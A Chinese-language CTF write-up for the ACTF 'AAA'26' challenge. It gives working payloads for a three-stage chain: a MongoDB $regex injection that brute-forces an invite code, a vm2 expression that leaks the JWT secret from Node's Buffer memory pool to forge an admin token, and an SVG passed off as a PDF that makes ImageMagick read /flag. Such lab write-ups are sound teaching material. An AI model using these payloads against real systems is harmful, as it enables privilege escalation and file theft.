ACTF AAA'26
算是被误导了吧,梭出来了reviewer和ImageMagick,但是中间ai一直在想vm2的RCE,但实际上只需要泄漏密钥就可以,方向错了,觉得自己挺蠢的,本身就是ai做的,也算不上可惜吧
题目分三个阶段,前两个阶段都是利用当前身份的能力提权,最后是用imagemagick读取本地文件
MongoDB 盲注爆邀请码
感觉第一阶段的难点不是想到用正则匹配前缀,而是读懂业务逻辑,知道系统接收什么样的json,要注的字段在哪里,
看这个题目,要是这个json结构是学术界公用的当我没说,但是这里面好多涉及论文系统的专用字段和信息我都不知道是什么东西,
本身对这个数据库也不熟悉,看的时候很折磨
接下来我只贴一些关键的代码
- 恶意代码入库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
app.post(
"/reviewer/profile",
{ preHandler: auth.authenticate },
async (request, reply) => {
try {
const profile = await readReviewerProfile(request); // NOTE: 没有做具体的内容检查
const result = await saveReviewerProfile(request.user.id, profile); // VULN: 任意json代码保存入库
return renderReviewerProfile(request, reply, {
message: result.serviceRecord
? "Reviewer profile saved. Service record queued for committee sync."
: "Reviewer profile saved.",
});
} catch {
return renderReviewerProfile(request, reply, {
error: "Reviewer profile could not be imported.",
});
}
},
);
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
async function saveReviewerProfile(userId, profile) {
const { users } = collections();
const id = new ObjectId(userId);
const existing = await users.findOne({ _id: id });
const existingProfile =
existing && existing.reviewerProfile ? existing.reviewerProfile : {};
const serviceRecord = await saveReviewerServiceRecord(userId, profile); // VULN: 保存细节,返回json
const nextStatus = // NOTE: 下面的代码涉及上传的几个状态,影响脚本写法,但不是漏洞点
existingProfile.status === "Submitted"
? "Submitted"
: serviceRecord
? "Service Record Imported"
: "Draft";
const set = {
"reviewerProfile.status": nextStatus,
"reviewerProfile.draft": profile.draft,
"reviewerProfile.updatedAt": new Date(),
};
if (serviceRecord) {
set["reviewerProfile.serviceRecordSummary"] = serviceRecord.summary;
}
await users.updateOne({ _id: id }, { $set: set });
return { serviceRecord, status: nextStatus };
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
async function saveReviewerServiceRecord(userId, profile) {
if (!profile.imported) return null;
const { reviewerServiceRecords } = collections();
const now = new Date();
const record = {
userId: new ObjectId(userId),
retainedMetadata: profile.imported, // VULN: 原始数据直接入库
summary: summarizeServiceRecord(profile.imported, profile.importedFilename),
createdAt: now,
};
await reviewerServiceRecords.insertOne(record); // NOTE: 插入reviewerServiceRecords,其中retainedMetadata完全可控
return record;
}
|
- 恶意代码触发
1
2
3
4
5
6
7
8
|
app.post(
"/reviewer/profile/service-sync",
{ preHandler: auth.authenticate },
async (request, reply) => {
const result = await syncReviewerServiceSlot(request.user.id); // VULN: sync会去匹配你的恶意代码
return renderReviewerProfile(request, reply, { message: result.message });
},
);
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
async function syncReviewerServiceSlot(userId) {
const { users, reviewerInvites, reviewerRubrics } = collections();
const id = new ObjectId(userId);
const user = await users.findOne({ _id: id });
const profile = user && user.reviewerProfile;
const submitted = profile && profile.submitted;
const latestRecord = await latestReviewerServiceRecord(userId);
const now = new Date();
if (!submitted || profile.status !== "Submitted") {
return {
matched: false,
message: "Submit the reviewer profile before committee sync.",
};
}
const rubric = await reviewerRubrics.findOne({
active: true,
track: submitted.track,
});
const packet = buildServiceDeskPacket(latestRecord, rubric); // VULN: slotValue是自定义的
const slotQuery = rubric
? assignmentSlotQuery(submitted, rubric, packet)
: null;
let matched = false;
if (rubric && slotQuery) {
const invite = await reviewerInvites.findOne(slotQuery); // VULN: 查询语句
matched = Boolean(invite && submittedProfileMeetsRubric(submitted, rubric));
}
const sync = {
status: matched ? "matched" : "waiting",
message: matched
? "Committee service desk has an available assignment slot."
: "Committee service desk has not found an assignment slot yet.",
recordId: packet ? packet.recordId : latestRecord ? latestRecord._id : null,
updatedAt: now,
};
await users.updateOne(
{ _id: id },
{
$set: {
"reviewerProfile.serviceSync": sync,
"reviewerProfile.serviceRecordSummary": latestRecord
? latestRecord.summary
: null,
},
},
);
await recordServiceDeskSync(user, submitted, latestRecord, rubric, sync);
return { matched, message: sync.message };
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
await reviewerRubrics.updateOne(
//NOTE: 数据库reviewerRubrics信息
{ rubricId: "big1-overflow-systems" },
{
$setOnInsert: {
rubricId: "big1-overflow-systems",
track: "systems",
active: true,
portfolioSeal: crypto.randomBytes(16).toString("hex"),
serviceDesk: {
queue: "overflow",
externalKey: "overflowReference",
credential: "invitation",
},
requiredAreas: ["systems", "review process", "artifact sanity"],
minimumScore: 37,
labels: ["TBD logistics", "baseline realism", "committee stamina"],
createdAt: new Date(),
},
},
{ upsert: true },
);
|
1
2
3
4
5
|
const SERVICE_DESK_FIELDS = {
overflowReference: ["committee", "registration", "reference"],
season: ["committee", "registration", "season"],
desk: ["committee", "desk"],
};
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
function buildServiceDeskPacket(record, rubric) {
if (!record || !rubric) return null;
const policy = serviceDeskPolicy(rubric);
const fieldPath = SERVICE_DESK_FIELDS[policy.externalKey]; // NOTE: committee.registration.reference
if (!fieldPath) return null;
return {
queue: policy.queue,
slotField:
SERVICE_DESK_CREDENTIALS[policy.credential] ||
SERVICE_DESK_CREDENTIALS.invitation,
slotValue: valueAtPath(record.retainedMetadata, fieldPath), // VULN: 找committee.registration.reference的值塞进slotValue
recordId: record._id,
};
}
|
1
2
3
4
5
6
7
8
9
10
11
12
|
function assignmentSlotQuery(submitted, rubric, packet) {
// NOTE: 组查询语句
if (!packet || packet.slotValue === undefined) return null;
return {
used: false,
track: submitted.track, // NOTE: system
kind: packet.queue, // NOTE: overflow
rubricId: rubric.rubricId,
[packet.slotField]: packet.slotValue, // NOTE: code: 自定义
};
}
|
总结一下就是,我们可以用/reviewer/profile传一个json文件,其中committee.registration.reference的值会拿去查邀请信息看有没有对应的注册码,
但这个查询是可以用正则匹配前缀的,所以可以传这样一个文件来爆破邀请码
1
2
3
4
5
6
7
8
9
|
{
"committee": {
"registration": {
"reference": {
"$regex": "^0[0-9a-f]{35}$"
}
}
}
}
|
要写脚本的话还要看其他的状态逻辑,这里就不看了,总之现在拿到了邀请吗有reviewer身份了
vm2 前缀匹配侧信道爆jwt密钥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
app.post(
"/reviewer/search",
{ preHandler: auth.requireRole("reviewer") },
async (request, reply) => {
const expression = String(request.body.expression || "");
try {
const docs = await filterReviewerDocuments(app, request, expression); //NOTE: 依旧代码审计
return render(request, reply, "reviewer/search.ejs", {
expression,
docs,
filtered: true,
});
} catch {
return render(request, reply, "reviewer/search.ejs", {
expression,
docs: [],
filtered: true,
error: "Filter rejected.",
});
}
},
);
|
1
2
3
4
5
6
7
8
|
function runExpression(source, item, timeout = 1250) {
const vm = new VM({
timeout,
sandbox: { item },
});
return !!vm.run(source);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
function runReviewerExpression(expression, item) {
if (
typeof expression !== "string" ||
expression.length === 0 ||
expression.length > 4096
) {
throw new Error("invalid expression");
}
const source = `
const paper = item.paper;
const review = item.review;
const reviewer = item.reviewer;
const scores = item.scores;
Boolean((() => (${expression}))())
`;
return runExpression(source, item);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
async function filterReviewerDocuments(app, request, expression) {
const token = getBearerOrCookie(request);
const docs = await reviewerDocuments(request.user);
const verified = await app.jwt.verify(token); //NOTE: 这里验证jwt用到了密钥,会出现在内存里面
if (
!verified ||
verified.id !== request.user.id ||
verified.role !== request.user.role
) {
throw new Error("invalid token");
}
const matches = [];
for (const item of docs) {
if (runReviewerExpression(expression, filterView(item))) {
matches.push(item);
}
}
return matches;
}
|
这个部分我一直以为是rce,但其实我知道这里的目的本来就是提权到admin,如果我当时有自己读代码的话应该不至于让ai被误导,exp如下
1
2
3
4
|
(() => {
const slab = Buffer.from(Buffer.from("a").buffer).toString("latin1");
return /aaa26_[0-9a-f]{48}/.test(slab);
})();
|
这里先是用 Buffer.from("a") 创建一个只包含一个字节 a 的小 Buffer,但是
Node 为了性能,不会每次创建一个小 Buffer 都单独向系统申请一块刚刚好的内存,
而是会提前准备一块比较大的内存池slab,然后很多小 Buffer 都从这块大内存里切一小片出来。
Buffer.from("a").buffer 拿到的是它背后的整个 ArrayBuffer,
而Buffer.from(Buffer.from("a").buffer) 就是把 a 背后的整块大内存池重新包装成 Buffer,之后再转化成字符串,其中包含jwt处理会用到的密钥
得到密钥之后就可以伪造admin身份了
imagemagick + xml 本地读取文件
有了admin之后,可以接受论文,回到论文作者账号可以上传完整的pdf文件,还贴心告诉你他们后台会自动生成缩略图
最后一步思路就是:上传 SVG 内容,后台保存成 .pdf 后交给 ImageMagick;ImageMagick 按内容识别成 SVG,再解析里面的 text:/flag,把 /flag 的文本渲染进缩略图。
具体上传的就是,需要不停裁剪找尺寸
1
2
3
4
5
6
7
|
<svg width="480" height="150">
<rect width="480" height="150" fill="white"/>
<svg x="0" y="38" width="480" height="112" viewBox="20 24 560 70" preserveAspectRatio="xMinYMin meet">
<image href="text:/flag" xlink:href="text:/flag" x="0" y="0" width="612" height="792"/>
</svg>
<text x="18" y="30" font-size="18" fill="black">AAA'26 Big-1 Camera Ready</text>
</svg>
|
碎碎念
最近发生了很多事情啊